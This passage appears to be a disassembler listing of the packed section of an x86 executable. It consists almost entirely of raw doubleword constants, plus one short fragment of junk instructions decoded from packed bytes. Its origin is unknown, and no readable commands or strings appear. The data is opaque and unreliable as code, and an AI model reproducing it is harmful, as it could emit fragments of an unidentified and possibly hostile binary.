		dd 0EC42A2FFh, 0F900D49Ch, 895DAAC0h, 0BA124Bh,	25B49059h
		dd 0B2834B1h, 0B0445B00h, 0DF8C2F60h, 0F6A000FBh, 716F49CBh
		dd 680009FCh, 0B2B64DC5h, 5A16EAh, 0B906AEA7h, 0FCB79F18h
		dd 91328500h, 32D8847h,	0FFB00780h, 0E3AC0C28h,	51B06ED9h
		dd 0A003C942h, 89400A2Fh, 0EA77E78Eh, 3396DF10h, 6B9A00B6h
		dd 0A566C3E7h, 703D6353h, 9DF103ECh, 0B7074E24h, 0FF79FA21h
		dd 8EA8ECh, 0EAB6FD18h,	0E9F79831h, 0D9CD9400h,	0F47257A2h
		dd 0AD8B0074h, 0BA3476ECh, 0EE0608C1h, 2AF696CCh, 178C00D4h
		dd 0ABF09404h, 0A00EA44h, 4A45ACE4h, 55F857h, 485F3250h
		dd 0AD16FA4Bh, 5D22D600h, 21F393E9h, 0BDA006Bh,	7982E5D0h
		dd 991DE82Fh, 6C839E12h, 90C1B287h, 0B8C2A89Bh,	5BE0036h
		dd 926EF483h, 6FFEAC0Dh, 43C36C00h, 0A3D5D685h,	930507EAh
		dd 80AE81E4h, 9A06FF15h, 1DC20A48h, 80FD8E77h, 2A432C40h
		dd 0B0C8A236h, 0F830068h, 1AD677E4h, 0F4F8742Bh, 165A0D00h
		dd 93802678h, 796FEBAh,	2F3D89F1h, 6DDC20D0h, 2E0025B7h
		dd 0F9B53901h, 0A39C90h, 0B9E56193h, 0D4DA9735h, 1A4F3600h
		dd 6518BB34h, 964C5876h, 3D579600h, 2941FFF6h, 9E8D1600h
		dd 3E0B0C9Bh, 6A8C3889h, 0B55D0072h, 35B2080Ah,	5300DDB0h
		dd 387561E9h, 7E218EA9h, 3BEA0E09h, 41E0CF27h, 7688F2D6h
		dd 0CC4F61FDh, 0E1051262h, 0A01CB80Eh, 0A62CBD80h, 99C40057h
		dd 0B4C5CEDFh, 0E079A29h, 3F8C09F8h, 5FFB2F60h,	0FA7700B1h
		dd 6373DF6Bh, 0BCECBA33h, 3B66BB01h, 824F4E03h,	0C03AFC80h
		dd 72CB04EFh, 7A03CB98h
		dd 4DB426D0h, 0E5ECA084h, 0C2D800F7h, 0E8DDB305h, 2800649Dh
		dd 522AA9A8h, 1AA1F1h, 0BE0FA47Eh, 4D1B1E3Ah, 7F80ED00h
		dd 0ABD2186Bh, 61D900CAh, 585B0E1Fh, 0C2F05A43h, 0C6DC5Ch
		dd 9151690Ch, 0D36112h,	0A48C59B9h, 7499EA54h, 11D50E00h
		dd 7294E875h, 43EB03C5h, 0C9D6D4C3h, 63613EE0h,	99017107h
		dd 0F10DEA0h, 0E0CAC5B7h, 50AA0015h, 8E8C81ECh,	753A0B24h
		dd 4C190032h, 0DD0A6260h, 3427028h, 92B8C1BEh, 0F888ADD4h
		dd 5B008519h, 0B8663BCh, 0FED75849h, 0EA6E0166h, 507937A6h
		dd 152A607h, 0B5B2AE00h, 0B85CA2h, 5A5780B6h, 586495A8h
		dd 47D4D600h, 97CE903Dh, 0B3DF00FEh, 0B64B502Bh, 0AD0020DBh
		dd 4CCC18C6h, 878244h, 21144717h, 5F613260h, 94932300h
		dd 6502459Fh, 359E4A0h,	0F4A387C2h, 80884AB5h, 997B9723h
		dd 3A1E3900h, 0F30974ABh, 8473007Ch, 6A5B1B4Dh,	7507FCE1h
		dd 0A8069254h, 0B6D05C10h, 0F62B0003h, 0AA7A8533h, 0A5004C71h
		dd 7C21D49Ah, 237F4Dh, 2DEAA7EFh, 29DB1F1Eh, 2473CF00h
		dd 53B84905h, 0ECE21C8Bh, 8C8A0FA6h, 9DFA00DCh,	1A2A6CDBh
		dd 89522D03h, 0A0E1EE5Eh, 0C36B6h, 0F573D44Ah, 0E55C6CA0h
		dd 77568800h, 2A19AB64h, 21743E1Eh, 38F1AF0Bh, 7CD62680h
		dd 3E0FC8DFh, 0E0EC89BEh, 0B70A1986h, 0D20C0024h, 0CF055A9Bh
		dd 0D6009E1Eh, 46D480E9h, 6E3851h, 5988480Bh, 1FF8A50h
		dd 0A40F70E0h, 739CF1h,	3BFC572Ah, 0F411E09h, 0F26880B4h
		dd 6A36B1B3h, 72BBF100h, 35146D4Fh, 0CE3A003Bh,	6E017A7Ch
		dd 0AD009199h, 60DCD7FFh, 7EFF89Dh, 53DE93A8h, 7E5BE14Bh
		dd 636E304Ah, 1012D800h, 8062915h, 3FBF0F7Fh, 0E44027D6h
		dd 0C8D4C6D0h, 78897A00h, 3F8BE19h, 0E7F60079h,	0A42F9948h
		dd 0A8006EF7h, 0FED4894Ah, 13855F5h, 0D6A5A936h, 60E7E5E6h
		dd 0C30014A9h, 0D23C547h, 250519h, 0DCCD1236h, 78FDED2Dh
		dd 0C4633A00h, 44559DBFh, 846F28CFh, 0C39E00E9h, 3B809A73h
		dd 2F00DF51h, 0E1DE5D2Bh, 71DBA0ACh, 50C5481Dh,	0AE21D100h
		dd 61AFC59h, 1488FA00h,	8B777AF3h, 43803B4h, 0E5B24E4h
		dd 61C10EADh, 0AA0F3460h, 8F030A2Dh, 0ED12C2ECh, 0E18590E6h
		dd 4C5E3ECCh, 0FF40C000h, 3EDDB116h, 0FB796900h, 0A39861F4h
		dd 0E2E100ADh, 0A910FCB8h, 0CC0093E6h, 9CE50807h, 741C685Dh
		dd 9D4E004Dh, 0E8EBC93Ch, 11006CABh, 0B3C5E213h, 379D8AEh
		dd 806F6197h, 0FE989E50h, 7438B78Bh, 125E0F4Bh,	0EDAFC738h
		dd 0C71086A0h, 0B16500D9h, 0D5CAE764h, 0F202D7BCh, 3E8BBEF7h
		dd 0CF204026h, 0F586588Dh, 8027021Fh, 0F00F64B6h, 770093DFh
		dd 9018383Fh, 0EEE08B35h, 0C670049h, 5294CDE7h,	310060B9h
		dd 392A1D97h, 5D75FAh, 0E5A92F85h, 0F3D141C7h, 0B945421Eh
		dd 0A079AF0Eh, 89DEBE30h, 8B7000BCh, 4F377BB5h,	9600F60Ch
		dd 0C98EB704h, 25FBD8h,	890F064h, 0C554C70Bh, 0EC72A198h
		dd 36009374h, 1B81B5B1h, 0C12464h, 0DA0785A9h, 0E850CB75h
		dd 3C21100h, 74891ED0h,	679F008Ah, 179D0A4Dh, 0D600276Ah
		dd 0DB9B6C8h, 2633D352h, 0AD0549h, 0F615DA3Ah, 801C225h
		dd 7E40B606h, 4BE4D44Fh, 2F300017h, 5DBB46B9h, 0C5002202h
		dd 3E1C033Ah, 0FB8A8Fh,	0F97A9408h, 93BEA885h, 0FDA6FA04h
		dd 1680392Dh, 0CEA5E1h,	75D0F3B7h, 0C068AFD2h, 9A90E200h
		dd 0DCB126F7h, 1E7C056Ch, 0C0D33E3Dh, 0AAF21FFCh, 589E4F0Bh
		dd 63B80377h, 24EF0DAh,	0E0090076h, 0F9ED4125h,	0D81D169Ch
		dd 0E28ED6CDh, 0B0942366h, 808FE02Ah, 38481F52h, 7B92C091h
		dd 17985AF5h, 11500300h, 0EDDF12FDh, 946E004Ch,	90411374h
		dd 3F1F0EA9h, 3600E5D3h, 380DB4E3h, 0B276078Eh,	805DC86Eh
		dd 9DD40756h, 0AD7A2000h, 0A8FC425Eh, 0AEBF0078h, 12FFDFECh
		dd 97074A28h, 6985F15Ch, 940551F0h, 4DB8CAh, 0C93DDCC7h
		dd 4F8E2E40h, 9E00B6EAh, 0EF3E0D81h, 0F5670Eh, 5BB252C3h
		dd 4D8B4B08h, 0FD421D03h, 0D8CDAA86h, 0EF7571h,	5AC951F1h
		dd 351B4EDCh, 34855601h, 1FD39BCDh, 538DE0E3h, 742B87Fh
		dd 0E71CD536h, 0F225E026h, 3A00296Bh, 0CBB6861Fh, 2008EAh
		dd 6D23295h, 0E1A3CF71h, 6AF76E00h, 6258D596h, 618100EFh
		dd 0A4C9017Bh, 6D00C8BAh, 0DB1CD342h, 35332Eh, 0A5CCDE48h
		dd 0B2A9698Bh, 0FEBB8000h, 0DCE97FC6h, 451800F8h, 0E2525704h
		dd 9C003395h, 0FF63EBF4h, 0F83D94D4h, 0AD740080h, 0CBB0DB48h
		dd 1E00D16Ch, 0A92997E9h, 1BBBFFh, 0BE4908A0h, 0B7CBC2B3h
		dd 0E2ED7800h, 67E7A2Eh, 69960037h, 0E3C5751Fh,	62F60D6Ah
		dd 0C35BE000h, 1324D665h, 748F0034h, 2BCC632Ch,	4677C649h
		dd 60652200h, 34C0D32Ah, 332D00B7h, 0C54E19F5h,	0BF00AFA1h
		dd 0C2F962A6h, 0ED7963h, 501ACE23h, 9D14F78Fh, 7375A700h
		dd 5FA54640h, 0FA0C0051h, 5C5A9423h, 1700397Ah,	74A18522h
		dd 0B85786h, 49B2DBBh, 2C8F35FAh, 0EA7F4A00h, 9D58EDCCh
		dd 610D0045h, 0AA8013BCh, 3904DA7h, 140089E2h, 5956E651h
		dd 391DF62Ah, 0FB9C1Ch,	0A4814FA1h, 86D397BDh, 400DF7Fh
		dd 0DBE76018h, 7578B6h,	114B5AD0h, 35918751h, 432C9D00h
		dd 0D75289E4h, 0CAF6003Bh, 0C704C02h, 5002545h,	9CAAC315h
		dd 0CBEC44h, 0FFCCFEBDh, 486798Ah, 53F7D500h, 2FB3A67Bh
		dd 4D830018h, 8284AC4Fh, 7600D495h, 0A54216E6h,	7A62E253h
		dd 5C54009Eh, 0DCEE07BDh, 9500049Dh, 1EEA1F35h,	722D946h
		dd 894787B0h, 16376097h, 0DF0033FCh, 0C98D696Bh, 761EFD9Eh
		dd 0EDD70072h, 0F27230Ah, 9300F716h, 9AE5B8F0h,	94A535h
		dd 3CA4BA36h, 0EDCD8B0Ah, 6B2E7E7Eh, 0E41E4999h, 0ABEFFA00h
		dd 619A66h, 0CC255EC4h,	221F59F9h, 317F4500h, 2CB87BDCh
		dd 0B6C000CFh, 0E2C634E8h, 5E007703h, 0D0423C67h, 0B18D63h
		dd 834186C7h, 1D766B88h, 624BA300h, 0DAB5BD5Dh,	5FCC8h
		dd 279FDFFAh, 9ACB36C1h, 0C74A9C00h, 48DA2950h,	0E3970FD7h
		dd 82204756h, 8FCBDCD3h, 75029375h, 4D2C3621h, 7F17E192h
		dd 518D070h, 0FBF0AFCDh, 0DCEBC051h, 0C30612C8h, 0D815E374h
		dd 11F2017Ah, 8020FC43h, 49F4E80Ah, 75F19600h, 5D5C16B6h
		dd 99EC31h, 0BA22368Eh,	0FBE78A93h, 5300DB78h, 7ED3C52h
		dd 67D26Eh, 37590E5Ch, 0EB219809h, 2EEF8F00h, 0FB248453h
		dd 30A80081h, 2A67FA1Fh, 70015960h, 0D133F7FFh,	0D1601CACh
		dd 6FF03Dh, 2C3C779Fh, 1642BF5Ch, 2F670607h, 5BF0C065h
		dd 7EA199h, 0E02953D3h,	276EE298h, 0AA009E7Fh, 51B5F779h
		dd 0EAE4A6h, 0F6105A68h, 5464D433h, 0B196CD00h,	0D27A09Ch
		dd 0B5AB02F8h, 0B8434839h, 97889683h, 49FE5AB8h, 47C7EC00h
		dd 0A8776F68h, 0CAE13EE8h, 45ED6D01h, 0ECC3F6B7h, 0A1003F22h
		dd 680A9DFDh, 4EDFA3h, 0EEAEEA16h, 122602C5h, 7F781500h
		dd 9F2F505Ch, 79F900DAh, 657BD58Fh, 2A00A3E6h, 0A6A76FA8h
		dd 14F05F39h, 97147115h, 0A530300h, 0AE3B6BBFh,	0BBB6C100h
		dd 0A080C3F8h, 1362CB0h, 212E00F3h, 0DCEC11D3h,	5EF90D00h
		dd 74657C9Eh, 3A770Bh, 822D7BFh, 79D2F2E7h, 0A9CDC900h
		dd 6B6C7EF3h, 0C2860082h, 0D7446EB5h, 98B892CFh, 0CC2C01F4h
		dd 0D078035h, 8BB0974Bh, 0E231900Bh, 9EFB03ABh,	1224A110h
		dd 2D477380h, 0CDADFA00h, 2879C6DFh, 0B1FF1C0Fh, 2178094h
		dd 5C3A2582h, 0FAE13Eh
		dd 2ECB2A38h, 1CADB872h, 4068EE9Ah, 8D2D7BCAh, 0D901E0EDh
		dd 0C66F1074h, 0FE600FD4h, 5F6D00A5h, 53B07F2Bh, 0DA00BFAEh
		dd 3467564Eh, 0E73EB6Ch, 0BBCB1BF3h, 0C5A0B82Eh, 9231114h
		dd 9932DB00h, 92519F6Eh, 7F0C0097h, 0B8C2DA3h, 0FD0083D8h
		dd 0F5F7377Dh, 75CE3Ch,	0CAE8F6DDh, 52255727h, 0C086F800h
		dd 66A50540h, 49D93C12h, 38170780h, 54975F5Dh, 0CCF4601Ch
		dd 0FAC2FE80h, 0A97FC5h, 0F1B9D3ADh, 69AAF61Fh,	2A5530Eh
		dd 77F92025h, 0B85F75CAh, 824900DCh, 430AD38h, 9D00E739h
		dd 8A4E8647h, 3EC3190Dh, 6D802DB3h, 0AB73F898h,	9600C17Eh
		dd 713E1654h, 7FB10882h, 0B8780041h, 0FD1C438Eh, 93009995h
		dd 0D24677D1h, 1987D2Fh, 5063BE0Eh, 0FC241FE2h,	23015CF3h
		dd 31B2E96Ah, 0A9F8B7A7h, 3CA0E88h, 7B41A30Eh, 80B119FCh
		dd 446D4E2Eh, 3A9532CFh, 9C077DA5h, 0B0D68AA3h,	206ED2Ah
		dd 981CBE00h, 9791DB77h, 6E1E00F5h, 180C8967h, 6205C365h
		dd 7C45AEB5h, 549CA480h, 382CB0EFh, 0FF0058FEh,	183E37C5h
		dd 1E50CA4Bh, 4D035FE2h, 56BDDB5Ch, 0E793C8FBh,	40AA00A1h
		dd 0D8299178h, 0AE004184h, 71C209E6h, 54F07Fh, 47A1EDB4h
		dd 1FDA33C6h, 8C835B00h, 177F19D9h, 78BA071Dh, 101A6F4Eh
		dd 0A8C0ACDDh, 1186EA07h, 37F028E3h, 15AA67h, 0FB88F42Ch
		dd 1C83F37Bh, 0A9E3B00h, 0A94472DEh, 23390086h,	0FC6A1A4Ah
		dd 85008926h, 0CD2DA076h, 399AFB1h, 0DB9C30E1h,	0AD90CF39h
		dd 4700C0E2h, 1506BDDAh, 3B1286AFh, 8E1332BBh, 442300E5h
		dd 2BBA8AF3h, 73BE4E00h, 17DAE3EDh, 0C10F00A4h,	35242F5Fh
		dd 76006853h, 9497CE2Ah, 713087h, 0B2855022h, 0BEE64611h
		dd 5E53A000h, 0F935566Dh, 64520372h, 216917A3h,	11E68BF0h
		dd 70348600h, 5184C661h, 9E8703F8h, 37A7DC47h, 85BCD989h
		dd 1111874h, 303D70Bh, 0D0199353h, 0C723C3h, 3683FC2Ch
		dd 0E563125Bh, 2E7B8A00h, 80B572D4h, 0E77900E6h, 6A43C23h
		dd 0C300B2D3h, 0C4210260h, 1F0A26B6h, 0BF16ACh,	0D284DA36h
		dd 0D41C042Eh, 0E21F6E22h, 1057EE40h, 9CE07h, 0C3217614h
		dd 0EB51BACBh, 6B73A000h, 7A74C513h, 99280156h,	0FCA8099Ch
		dd 16A4C8BEh, 0E09A7000h, 81403852h, 1B2100C5h,	0ADF5EF5Bh
		dd 7D05A8CEh, 3A47ECA2h, 1E618100h, 7902A0C9h, 0CA690E93h
		dd 0A8009E0Ch, 0C23CFE5Eh, 75169900h, 14A08736h, 0F1A30017h
		dd 64F91FCEh, 0DC00D969h, 7398F2CAh, 35F6229h, 728AF4ECh
		dd 0C0B0F374h, 0E1052D1Eh, 2C9BCC47h, 6F866DC0h, 0D6B900FEh
		dd 0FDD804F3h, 8300983Dh, 246A58AEh, 0D09A91h, 7C35B837h
		dd 739F9593h, 230BD71Ch, 0C92DE783h, 0B87E0026h, 122C3879h
		dd 3D3FBD2Fh, 3B1E4C80h, 17C600B4h, 3285D724h, 0D5B8DDh
		dd 0ECD0BF3Ch, 0D309C993h, 7F29FF00h, 0CF80A0F8h, 829600DAh
		dd 670E2F74h, 27002A10h, 94C3D344h, 0B77F26h, 3E4933D4h
		dd 5EDB6325h, 5C342D00h, 74628913h, 9FE5E59Dh, 4616ECh
		dd 454BE4BEh, 0E2B35575h, 4139D900h, 27D79F8Ah,	0F2E02442h
		dd 486C034Dh, 23A046A2h, 0E7009BA9h, 0BE1BD180h, 0C33354h
		dd 8DC15547h, 8E6639CCh, 0B7000173h, 7485AE9h, 0B3DCE6h
		dd 41BD5CAEh, 2111313Ah, 2817B600h, 0F84D79DFh,	86C3CF9h
		dd 0EBA34600h, 7DAB3A6Ah, 5133DC00h, 0AAD95EA7h, 4FC9008Bh
		dd 7C3B6C38h, 9500F591h, 7E1A197h, 0EE0433EDh, 7D9796Dh
		dd 5A4E80A3h, 0CD1A57h,	0B3901DFDh, 0E707C67Bh,	0EBF469EAh
		dd 0F5DAABF0h, 0FF4B1D04h, 0BF2F8098h, 0F860C731h, 0C2009774h
		dd 12D8056Eh, 5046CFh, 0B559C59Ah, 689CFF0Eh, 0F978DB0Eh
		dd 47F8610Dh, 12F4C60Bh, 0FB2033Bh, 0DDED3752h,	6074E2B9h
		dd 9D7299FEh, 0D000C870h, 0D92709E3h, 192F32h, 726A4DBDh
		dd 0D7C5F5CCh, 0CD75B9FEh, 8FE2963Fh, 0A006DCF6h, 0D94127A9h
		dd 5CE800E6h, 31762932h, 21008A89h, 30E3CE0Fh, 7FAE4Eh
		dd 0A3755D6Eh, 0E5320A18h, 0C81A7A00h, 7CFCE48Bh, 2AB20097h
		dd 6C86BB4Eh, 5D00F078h, 0C84B9A72h, 7174A410h,	171B0027h
		dd 5B070899h, 3B00D1BEh, 0C90DE5C4h, 0F0D3EF43h, 0CB453D7Dh
		dd 0D066D786h, 0E37CD2C0h, 0FA00C275h, 2246BB63h, 0F9F3FF2h
		dd 0D4286085h, 0D15BCA20h, 77007DC8h, 4AAF2315h, 94572Ah
		dd 0DD60169Dh, 8728145Ah, 26556B00h, 4A6F3781h,	478B000Ah
		dd 0E6EADC01h, 0B100189Fh, 851992E7h, 6089D5Ch,	0CCD00E5Bh
		dd 0EF00BE76h, 0D8578115h, 8F4974h, 0EDB8F0DFh,	0FE35D30Dh
		dd 9A802500h, 7509698Eh, 1E100387h, 0FC0DA060h,	0D8828898h
		dd 0F4E03700h, 0FDF60861h, 0BECA01E5h, 62763BD2h, 8AFFDCE3h
		dd 0D4DE8C00h, 6A6FEE4Fh, 0B1110084h, 4B5643FBh, 9800426Eh
		dd 998CA941h, 14671FAh,	94C5A405h, 0D0A33109h, 75004DFBh
		dd 7A6CB06Eh, 76676h, 3A12DD9Fh, 0B1F57ADh, 7B9A6100h
		dd 7FE8C9AEh, 5CF37D22h, 0C75818A0h, 41902700h,	36F56940h
		dd 0FEBFE501h, 24C17984h, 55BEF8h, 0CB129D53h, 0F092153Eh
		dd 66F3F200h, 248EE303h, 1AFF0073h, 679BAEE8h, 760778A1h
		dd 579831CDh, 825E5070h, 0AA28005Bh, 3A3B1673h,	810FED8Ch
		dd 16979C5Fh, 4F2A9000h, 14C72105h, 0C34BA319h,	0E145BA00h
		dd 0AC62CDD3h, 10357FAh, 698C4A74h, 336CE9B3h, 8BA6C0h
		dd 7B72474Dh, 6238EE70h, 0A8BA1703h, 0F08C85F9h, 3E32A56Dh
		dd 0A680E8AAh, 0DD3D26C4h, 0DB00BEAEh, 0AF637503h, 345D9FFh
		dd 720F9FA0h, 8193E276h, 90554ED0h, 389B24h, 7CC0EB1Ch
		dd 7E7A3A0Ch, 800A00DDh, 0FD9FF44Ah, 9E0757E6h,	0F3DB5E81h
		dd 6F950FB0h, 0AFC50018h, 0B554C0DCh, 7003EE1Dh, 0A623299Dh
		dd 0D032F0F4h, 0D3D8002Bh, 0E23E2533h, 0B500E453h, 0A7CDB185h
		dd 9E8477h, 220AC50Dh, 58A55CE3h, 0C86A8A00h, 0B675CC4Dh
		dd 0F7BB0002h, 0B084CAEBh, 0C00010E3h, 0BF2416CFh, 758083h
		dd 0B5D0917Bh, 0CE08B3Ah, 85012679h, 5A37F9F4h,	0D5C0D67Dh
		dd 8BFA0F0Bh, 0B403AEF3h, 8EC80EE7h, 0FD0006ACh, 158FE65Ch
		dd 0DA1043h, 4058C30Fh,	0A7A5C876h, 1C9DC07h, 7BBECBCh
		dd 71089C0h, 0CAE0A1h, 5ED9E598h, 34DCAA39h, 0C73ECF09h
		dd 99E2835Ah, 0B2DDF894h, 0ECAB090h, 1005AFC2h,	0A5BA820h
		dd 2C760684h, 0B94E4800h, 0A73897E8h, 15160094h, 0F1C7C50Bh
		dd 0B600B551h, 0F9B72FD9h, 233BE1h, 0C98899A2h,	7BAFDC83h
		dd 1E8E8B1Dh, 0C6A5CF40h, 72BF9Eh, 952434EFh, 53062CE3h
		dd 86B2FB00h, 54DE3DF1h, 8D2F48C9h, 4699F000h, 6E4E1D2Dh
		dd 2E9B6300h, 5230FC7Ah, 8BE90028h, 7301B53Dh, 0EA002FC5h
		dd 65446ED8h, 3829BEh, 0F694B78Ch, 6A0A0C61h, 4F245703h
		dd 80B3D5FEh, 59501Fh, 85866DF7h, 0EFC11340h, 5D03877Eh
		dd 8BBFB73Dh, 0AB2AE838h, 972600AAh, 0EB1E29F3h, 0C10033B4h
		dd 9F045222h, 0EA7C283Ch, 0CC090040h, 91DCA362h, 950018E0h
		dd 92FDD33Ah, 699D76h, 0C8500C52h, 6F89F437h, 6A4FF100h
		dd 7E1DDBA4h, 0BCD600B8h, 0A1DFFB6Dh, 0CC70E8C2h, 0DA32D30Fh
		dd 11BB406Bh, 1D3E2F94h, 0C1605D55h, 992A3C0Ah,	8CD4808Bh
		dd 0F96ABB9Dh, 0BC3E00D7h, 1BECE819h, 861F536Dh, 6D6E689Ah
		dd 0A40D01Ch, 3EF80EBEh, 0E95A03A4h, 0BA376DFBh, 57C392A8h
		dd 7DB5300h, 2671F028h,	852A000Eh, 8A4F481h, 0F9000AB5h
		dd 78FBA8CAh, 74E6322Dh
		dd 0A2AD005Bh, 15AAD065h, 621CEC47h, 0FF80538Ah, 0E4E02211h
		dd 0C0EFE14h, 0B5F6170Ah, 8A009262h, 182AD796h,	0DF6DF9h
		dd 3C058021h, 2EA17967h, 7FEBC700h, 445749CBh, 550B005Ch
		dd 0C4E3F0F6h, 0B300AAE6h, 0E788DD31h, 44CD22h,	6FE2D247h
		dd 0DA49587Bh, 0CABF5B00h, 6B86FE2Ah
; ---------------------------------------------------------------------------


loc_43005C:				; DATA XREF: .packed:0041A720o
		mov	edx, 0D8C4E400h
		push	cs
		db	36h
		and	al, 0FAh
		push	ebp
		cwde
		inc	esp
		add	[ebx+132A5369h], ah
		retn
; ---------------------------------------------------------------------------
		db 0DBh
		dd 0F2583F85h, 6F75E000h, 0EB5D4CDDh, 0F9002DE8h, 5C7AB42Fh
		dd 0F465D6h, 0F85FC505h, 0B3C7510Bh, 7180CEC6h,	0F6A200F6h
		dd 0F5D3FEADh, 8100CFBEh, 0CE21ED68h, 2EDF420Eh, 3D0487C4h
		dd 3D82FA83h, 0F9E0761Bh, 5E001674h, 376FA383h,	0FBCF026h
		dd 7E1331B6h, 0BB542CE0h, 0AC07FF1Bh, 0FB938178h, 29925AC0h
		dd 27F400BEh, 4474E808h, 6F003013h, 418180A0h, 15053Eh
		dd 24076529h, 0C2AA75A6h, 71AE6A00h, 93CA68C9h,	0C5790Ah
		dd 53CB262Fh, 8FDD5B2Dh, 2BF98300h, 73A77E6Ch, 0DC371EE1h
		dd 0A11680C8h, 0BB27B876h, 9ED0C203h, 98567C13h, 3DBCCE60h
		dd 0A080C95Ah, 0FCA4D1ADh, 12005EFBh, 8363BB59h, 3A81CDEFh
		dd 0DA1811E3h, 7DC5242Bh, 8930AF00h, 98234065h,	1F217655h
		dd 47C3A3E0h, 7018E62Ah, 0C776FEACh, 44C0CB0Fh,	23A900D4h
		dd 513D33h, 98D717A2h, 0B3F4C4FFh, 74001DEEh, 7AB2120Ch
		dd 967DB6h, 0F8BAD76Fh,	0B4BCBBDBh, 2C21B000h, 0FF059519h
		dd 0D6710074h, 6185DDCCh, 1E1F03E2h, 0C980F856h, 0A4045B47h
		dd 0FD1F03EDh, 0D58428A8h, 410D7FC8h, 13F3C003h, 0A071777Ah
		dd 0FFD133h, 0AB571A37h, 30CA8E3h, 10C43A30h, 3E05BEE0h
		dd 0BC80EC40h, 3E46C176h, 6E077CBAh, 689FEB6Fh,	9EE2FFD0h
		dd 900D006Ah, 2A969965h, 80002707h, 0E5497879h,	5CB95803h
		dd 56000166h, 3FBAF11Eh, 6A1D8EC5h, 0C181DD55h,	0C07BE5D2h
		dd 0EF108D0h, 23A37687h, 80148E64h, 0F5DB7368h,	6C486900h
		dd 411DB8F9h, 82B30021h, 0F20360B9h, 0EA3DCD91h, 0AA4380CFh
		dd 741772BEh, 0C77A0079h, 76E58DB1h, 9B000FF4h,	27CF4D75h
		dd 60BD2Fh, 54AB2E33h, 0E93AC190h, 75E8120Fh, 73FC608Ah
		dd 0F6A081Ah, 0F94B321Fh, 0A0F13F02h, 0EC188AE0h, 245E6400h
		dd 0EEBCB412h, 40940007h, 5F38A292h, 2D0095A6h,	4954E3F2h
		dd 36DCB8h, 0BFEFAA96h,	0D4B2D2F7h, 7600D070h, 34EE2550h
		dd 23113Eh, 6FFD8A3Ah, 46D05AFFh, 0E3006A79h, 6B7C5630h
		dd 862874h, 65CAD3ACh, 374DD49Bh, 83B32907h, 9D20C0DFh
		dd 3D343Eh, 41BF0C96h, 7DC953C4h, 3300EEF6h, 668BF711h
		dd 0E3DEBAh, 9EB6916h, 85FAD2D4h, 0AB368000h, 0FF125C77h
		dd 4B3C00E9h, 49633FB4h, 7EECFE0h, 43AA500h, 0EDB1BB6Ah
		dd 0DB5B076Fh, 0D0DAD83Bh, 0C667B38Eh, 975F2B0Eh, 0B84A4031h
		dd 3B6011h, 87C1DDCEh, 4415E610h, 0C0EA400h, 0A7271E0Dh
		dd 0DFC65CF8h, 0FA8CA07Ah, 1F890049h, 0B087CA70h, 7748FF6Ch
		dd 0FC8100F5h, 9C05F9B8h, 4F5500F0h, 3AA8740Bh,	6009DA64h
		dd 9505CD2h, 9A4D0011h,	17E93Dh, 4F04CE59h, 0F3BB86FFh
		dd 0E4002F7Ch, 6C4064ABh, 774B24E6h, 0FCCD00CAh, 1DBF2EF9h
		dd 9003ACDEh, 723A3891h, 644FD154h, 2D85BF4h, 0AB961DF2h
		dd 0C98068C7h, 73997D8Dh, 80820B3Fh, 0A40EFEB2h, 76F1BC24h
		dd 0BE7F00FFh, 0C32C660h, 9B3F6A38h, 22570071h,	7A1E76FCh
		dd 3B230013h, 0C48086FDh, 0EF00815Dh, 85A0A47Fh, 0EAD5473Fh
		dd 0F5FA0072h, 493A554Fh, 417C60C7h, 7DBA9500h,	80A11DACh
		dd 397F68Bh, 0D3737128h, 7909A72h, 0D90E0959h, 0A0DB5FE9h
		dd 0B6C46118h, 0ABB200A8h, 9F74A20Eh, 0CE00AE03h, 4EBEE936h
		dd 0BF51E3E2h, 81DFB800h, 921E8AB8h, 0E7005FE1h, 95384878h
		dd 0A9150037h, 912B4961h, 4100D429h, 9D7EA74Bh,	0ED54A25h
		dd 0B2A66943h, 0C09EDF80h, 470E7772h, 0E0CC072Ch, 94BC76BFh
		dd 6AE50032h, 43049B67h, 82071B97h, 0C51016B4h,	0F6E604Fh
		dd 5F6B71h, 2211FCFh, 0BEDA7624h, 4BED8D00h, 0BAA8A620h
		dd 2429770Dh, 1AA234h, 5823171Eh, 9B1E0837h, 0F8804222h
		dd 0B81C2196h, 0CC6F2ECDh, 53003BFAh, 0D0E0B14Eh, 0ED00A755h
		dd 61089DC9h, 7BEF80B3h, 0C7930096h, 0C821C3F4h, 881CBFCBh
		dd 0AD802428h, 0E106B36h, 0EF530948h, 898096EEh, 2DE098D6h
		dd 0F3C90100h, 0A8E6037Dh, 0E1A000C7h, 0DA6EA7E7h, 0AEB0DB2Fh
		dd 9800CBE4h, 0CE75EDEFh, 9ADFDBFh, 3810BD8Bh, 0A9A5B880h
		dd 0F0E2A0D6h, 1F55B00h, 0E404B2C8h, 61880191h,	3CACEF67h
		dd 0DC6BE080h, 578ACA00h, 0B4CB21E1h, 64520F2Ch, 46C007C5h
		dd 96970BDFh, 3300C2ECh, 0E278D951h, 0E0A7F2F8h, 169D0126h
		dd 0C6C5B364h, 0EA6FC4FFh, 4200BAE2h, 60DD344Dh, 0D548F1h
		dd 5C3E828Fh, 0BFD3575Dh, 0B0D66301h, 9034B175h, 16D7B760h
		dd 122F648h, 2A4631BCh,	3D8BC4B3h, 0BA096EEEh, 80CFF853h
		dd 0F7CC6CC4h, 0BEA70116h, 0FE6BDF71h, 5F67DC4Eh, 27D63500h
		dd 1E897DF8h, 6FF24Bh, 41D2768Bh, 5CAE0D30h, 0DB037500h
		dd 0B63BC39Dh, 22260058h, 0EE692C28h, 543DDD35h, 0D8B500CAh
		dd 1C5E2A8Eh, 7AF5098Fh, 1E807469h, 4766CC8Ah, 34007DF2h
		dd 0B9F637F4h, 3F768575h, 12001704h, 10824F4Bh,	0C800E61Eh
		dd 5062349Dh, 22643Ch, 841A9E25h, 0B28DE1BFh, 36CD6D07h
		dd 0D5C0AA4Dh, 5D138Bh,	0BCF3CAE7h, 5B620CBFh, 5AF4C000h
		dd 0E6AFC618h, 68C300A5h, 0BD1A288Bh, 5F1C1EC4h, 0A2403081h
		dd 3CBFF2CCh, 153E00F9h, 1AA16AD9h, 0F0030504h,	0D775BAAh
		dd 0ADF8B871h, 0D309003Ch, 5AAFE1B4h, 16000C30h, 63EB8FA0h
		dd 0B88D9795h, 3F1C0045h, 0DB98617Eh, 69FE30B9h, 0AF046E90h
		dd 41925D2Dh, 543B3580h, 148100A2h, 69CD79CFh, 52EED729h
		dd 589CF600h, 0A6995413h, 12CA0E7Bh, 8040B7B1h,	21D091ECh
		dd 7D1D3871h, 63CF34FAh, 0D855C3C1h, 0FC1A98A0h, 204A1FFFh
